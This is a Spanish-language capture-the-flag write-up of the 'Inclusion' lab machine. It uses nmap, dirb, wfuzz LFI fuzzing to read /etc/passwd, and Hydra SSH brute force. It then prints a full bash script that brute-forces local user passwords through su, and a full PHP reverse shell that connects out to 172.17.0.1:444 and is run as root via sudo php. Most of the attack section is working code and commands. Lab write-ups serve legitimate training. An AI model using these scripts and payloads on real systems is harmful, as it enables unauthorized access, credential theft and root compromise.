> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/inclusion-write-up.md).

# Inclusion write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/yZB3b8G78I8TYrSTblT6" alt=""><figcaption></figcaption></figure>

## **Escaneo de puertos abiertos y explotación de vulnerabilidades**

Utilizamos **nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="/files/wYgxo9ZuRIVxRMY6ZOPr" alt=""><figcaption></figcaption></figure>

El escaneo nos indica que el puerto 22 (SSH) y el 80 (HTTP) están abiertos. Así que ingresamos la IP de la máquina víctima en el navegador y contemplamos lo siguiente:

<figure><img src="/files/uG9p7NKnekMiebU17i8V" alt=""><figcaption></figcaption></figure>

Vemos una página por defecto de Apache. Por lo tanto, ahora usaremos la herramienta llamada **Dirb** para enumerar rutas ocultas con el siguiente comando:

```bash
dirb http://172.17.0.2
```

<figure><img src="/files/cI2TSqX66kcsz7orWird" alt=""><figcaption></figcaption></figure>

Vemos la ruta `http://172.17.0.2/shop/index.php`, así que la ingresamos en el navegador y observamos lo siguiente:

<figure><img src="/files/QNDBCVpf2ZBjFxj2qhgT" alt=""><figcaption></figcaption></figure>

Observamos que se presenta un error relacionado con el parámetro `archivo`, así que vamos a usar la herramienta llamada **Wfuzz** para observar que archivos del servidor podemos ver. Para ello ejecutamos el siguiente comando:

```bash
wfuzz -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u "http://172.17.0.2/shop/index.php?archivo=FUZZ" --hl 44 
```

<figure><img src="/files/B4jtHwUf9EFxeRBdCwLW" alt=""><figcaption></figcaption></figure>

Esto nos indica que podemos ver el archivo `/etc/passwd` si ingresamos `http://172.17.0.2/shop/index.php?archivo=../../../../../../etc/passwd&=%3C%3C%3C%3C` en el navegador.

<figure><img src="/files/kHdttmGG5ws2XDrl3zK3" alt=""><figcaption></figcaption></figure>

Ahora haremos un ataque de fuerza bruta al servicio SSH a los usuarios `manchi` y `seller`. Para ello ponemos los dos usuarios en un archivo y utilizamos la herramienta **Hydra** con el siguiente comando:

```bash
hydra -L usuarios.txt -P ../rockyou.txt ssh://172.17.0.2 -F -V -t 64 -I -u
```

<figure><img src="/files/1vTo2edLjRyjyc89HPJE" alt=""><figcaption></figcaption></figure>

Esto nos indica las credenciales `manchi:lovely`, así que iniciamos sesión como el usuario `manchi`.

<figure><img src="/files/4c6v6740dw0fGCvgIUGI" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez dentro de la máquina víctima, nos vamos a pasar a la máquina víctima un script en bash para hacer fuerza bruta a la contraseña del usuario `seller`. El script es el siguiente:

```bash
#!/bin/bash

AZUL="\033[1;34m"
VERDE="\033[1;32m"
ROJO="\033[1;31;43m"
RESET="\033[0m"
BLANCO_CLARO="\033[1;97m"

echo -e "${AZUL}"
cat << "EOF"
  _____   _   _   _____   _   _   _  __  _____   
 / ____| | | | | |_   _| | \ | | | |/ / |_   _|  
| (___   | |_| |   | |   |  \| | | ' /    | |    
 \___ \  |  _  |   | |   | . ` | |  <     | |    
 ____) | | | | |  _| |_  | |\  | | . \   _| |_   
|_____/  |_| |_| |_____| |_| \_| |_|\_\ |_____|  
EOF
echo -e "${RESET}"

diccionario="$1"
usuarios="$2"
hilos="$3"
respuesta=1
usuarios_restantes="$usuarios" 

if [ -z "$diccionario" ] || [ -z "$usuarios" ] || [ -z "$hilos" ]; then
    echo -e "${ROJO}Uso: $0 <diccionario> <usuarios> <hilos>${RESET}"
    exit 1
fi

finalizar() {
    echo -e "\e[1;31m\nFinalizando el script\e[0m"
    
    if [ -s usuarios_exitosos.txt ]; then
        rm usuarios_exitosos.txt
    fi

    if [ -s usuarios_restantes.txt ]; then
        rm usuarios_restantes.txt
    fi

    if [ -s archivo.txt ]; then
        rm archivo.txt
    fi

    exit 0 
}

trap finalizar SIGINT

probar_contrasena() {
    local usuario="$1"
    local password="$2"

    local AZUL="\033[1;34m"
    local VERDE="\033[1;32m"
    local ROJO="\033[1;31;43m"
    local RESET="\033[0m"
    local BLANCO_CLARO="\033[1;97m"
    
    echo -e "${BLANCO_CLARO}Probando contraseña = $password para el usuario = $usuario${RESET}"
    if timeout 0.05 bash -c "echo '$password' | su $usuario -c 'echo Hello'" > /dev/null 2>&1; then

        echo -e "${VERDE}La contraseña del usuario $usuario es: $password${RESET}" >> resultado.txt
        chmod 0777 resultado.txt
        echo "$usuario" >> usuarios_exitosos.txt
        echo "0" > archivo.txt
    fi
}

export -f probar_contrasena



while IFS= read -r password; do
    echo -e "${AZUL}Probando contraseña: $password${RESET}"
    
    
    if [ "$respuesta" -eq 0 ]; then

        usuarios_restantes=$(grep -Fxv -f usuarios_exitosos.txt "$usuarios" >> usuarios_restantes.txt ; echo "usuarios_restantes.txt")
        respuesta=1
    fi
    
    
    cat "$usuarios_restantes" | xargs -I {} -P "$hilos" bash -c "probar_contrasena '{}' '$password'"
    
    if [ -s archivo.txt ]; then
        cat resultado.txt
        rm archivo.txt

        read -p "¿Deseas continuar? (s/n): " respuesta </dev/tty
        if [[ "$respuesta" =~ ^[Ss]$ ]]; then
            respuesta=0
        else

            if [ -s usuarios_exitosos.txt ]; then
                rm usuarios_exitosos.txt
            fi

            if [ -s usuarios_restantes.txt ]; then
                rm usuarios_restantes.txt
            fi

            exit 0
        fi
    
    fi
done < "$diccionario"


echo -e "${ROJO}No se encontró ninguna contraseña válida.${RESET}"
```

Lo puedes descargar desde Github ejecutando lo siguiente:

```bash
git clone https://github.com/Shinkirou789/Linux_brute_force2.git ; cd Linux_brute_force2 ; chmod 0700 linux_fuerza_bruta.sh
```

Para pasarlo a la máquina víctima junto a un diccionario ejecutamos lo siguiente:

```bash
scp linux_fuerza_bruta3.sh manchi@172.17.0.2:/tmp/linux_fuerza_bruta3.sh

scp rockyou.txt manchi@172.17.0.2:/tmp/rockyou.txt
```

<figure><img src="/files/CNzGntsNGq5vHWYynG1l" alt=""><figcaption></figcaption></figure>

Una vez ya hayamos compartido el script y un diccionario, creamos un diccionario que contenga el usuario `sellet`, le damos permisos de ejecución al script y ejecutamos lo siguiente:

```bash
chmod 0777 linux_fuerza_bruta3.sh && ./linux_fuerza_bruta3.sh rockyou.txt usuarios 16
```

<figure><img src="/files/JnMjxomyYeovCb6BsLkg" alt=""><figcaption></figcaption></figure>

Esto nos revela que la contraseña del usuario `seller` es `qwerty`. Así que iniciamos sesión como el usuario `seller`.

<figure><img src="/files/co6EX1Zd7dxAD0osxouH" alt=""><figcaption></figcaption></figure>

Una vez que somos el usuario `seller`, ejecutamos el comando `sudo -l`, el cual nos indica que podemos ejecutar el binario `/usr/bin/php` como cualquier usuario. Así que nos vamos a pasar un script en PHP que nos enviará una shell interactiva a través del puerto 444. El script es el siguiente:

```php
<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '172.17.0.1';  // CHANGE THIS
$port = 444;       // CHANGE THIS
$chunk_size = 1400;
$shell = 'uname -a; w; id; /bin/bash -i';
$contador = 0;
$debug = 0;
$daemon = 0;
$welcome_message = "  \033[1;34m_____   _   _   _____   _   _   _  __  _____   
 / ____| | | | | |_   _| | \ | | | |/ / |_   _|  
| (___   | |_| |   | |   |  \| | | ' /    | |    
 \___ \  |  _  |   | |   | . ` | |  <     | |    
 ____) | | | | |  _| |_  | |\  | | . \   _| |_   
|_____/  |_| |_| |_____| |_| \_| |_|\_\ |_____|  \033[0m\n";

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);


// Mostrar mensaje de bienvenida a la shell

fwrite($sock, $welcome_message);



while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

    $read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}

}
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>
```

Y ahora solo tenemos que ponernos en escucha y ejecutar lo siguiente:

```bash
sudo /usr/bin/php shell.php
```

<figure><img src="/files/wzcU2JklMKS22GdPgiOn" alt=""><figcaption></figcaption></figure>
